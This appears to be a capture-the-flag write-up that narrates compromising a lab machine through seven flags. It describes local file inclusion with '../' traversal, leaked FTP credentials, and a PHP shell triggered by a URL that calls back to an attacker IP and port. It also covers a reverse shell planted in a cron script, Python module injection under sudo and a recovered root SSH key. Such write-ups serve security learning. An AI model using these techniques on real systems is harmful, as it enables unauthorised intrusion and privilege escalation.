Initial foothold
As usual I set the boxip and scan it. 3 ports open, ftp, ssh and http.

Flag 1
Checking robots.txt we get a filename /flag_1.txt browse to it, we get our first flag.
Flag 2
Browsing to the second file we found in /robots.txt we get a forbidden access error.

Each post on the website however, link to a php file, this could be LFI. Using the post paramater and pointing it to secret_file_do_not_read.txt we get ftp credentials: ftpuser:givemefiles777
And note down that the ftp files are saved to /home/ftpuser/ftp/files/
By including the file ../../../../etc/passwd we get two potential users.
mat:x:1002:1002:,#,,:/home/mat:/bin/bash
toby:x:1003:1003:,,,:/home/toby:/bin/bash
ftp $(boxip) using the aforementioned credentials we get the second flag, and see the files folder.
User
Flag 3 & 4
Uploading a php shell and then browsing to http://10.10.179.149/post.php?post=../../../../home/ftpuser/ftp/files/cshell.php&ip=10.11.0.217&port=1234 we pop a www-data shell.


After checking sudo -l and getting a shell as user toby, I got flag 4, so I missed a flag.

Running find / -name flag_3.txt I found it in /var/www/html/more_secrets_a9f10a/flag_3.txt
Flag 5
Running LinPEAS is always a great idea, I found an interesting cronjob.

I added a reverse shell command to the shell script and a minute later the next shell popped.


And from that user I could grab flag 5.
Flag 6
Running sudo -l, we see we can run a script in /home/mat/scripts/will_scripts.py as the user will.
Inspecting the code, we see it imports a custom module named cmd. We do a module injection and write our own module which runs bash.
And get shell as will.

Of course I grabbed the flag aswell.
Root
Flag 7
Poking around, I eventually stumbled upon /etc/ssh
But it was a rabbit hole since I can’t read any of the interesting files there. Eventually I could see that will is part of the group adm. When I searched for all files belonging to that group something came up.
A base64 encrypted file. Putting it through cyberchef I got an rsa_id file content.

chmodding the file to 600 and using it with ssh, I got logged in as root.
Last flag snagged.
